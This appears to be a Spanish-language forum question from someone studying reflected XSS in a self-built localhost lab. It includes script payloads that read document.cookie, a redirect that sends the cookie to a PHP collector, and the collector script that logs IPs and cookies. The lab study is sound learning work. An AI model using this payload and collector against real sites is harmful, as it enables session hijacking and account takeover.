Estoy tratando de aprender sobre XSS, por lo que he hecho que una aplicación web sea vulnerable al XSS reflejado. Estoy intentando robar las cookies del usuario, por lo que si escribo lo siguiente se muestra el valor de la cookie:
http://localhost/lab1/php/login.php?message=<script>alert(document.cookie);</script>
Quiero enviar el valor de la cookie al siguiente script PHP (getcookies.php) en mi servidor local:
<?php
$file = 'cookies_list.txt';
$stringPrint = 'Time ' . date("Y/m/d - h:i:sa") . ' Origin IP: ' . $_SERVER['REMOTE_ADDR'] . ' Cookie: ' . $_GET["c"] . PHP_EOL;
file_put_contents($file, $stringPrint, FILE_APPEND | LOCK_EX);
?>
Cuando escribo esto en la URL del navegador, el script PHP obtiene el valor de "prueba" de c param.
http://localhost/getcookies.php?c=test
En cambio, cuando escribo esto, el script PHP no obtiene ningún valor.
http://localhost/lab1/php/login.php?message=<script>document.location.href='http://localhost/getcookies.php?c='+document.cookie;</script>
¿Alguien podría decirme por qué no funciona?
Actualizar:
-
También puedo ejecutar estas cargas útiles:
message=<script>document.body.innerHTML = '';</script> message=<script>document.write("hi");</script>
-
Las cookies no son HttpOnly.
-
No, la solicitud GET se no se envía al servidor.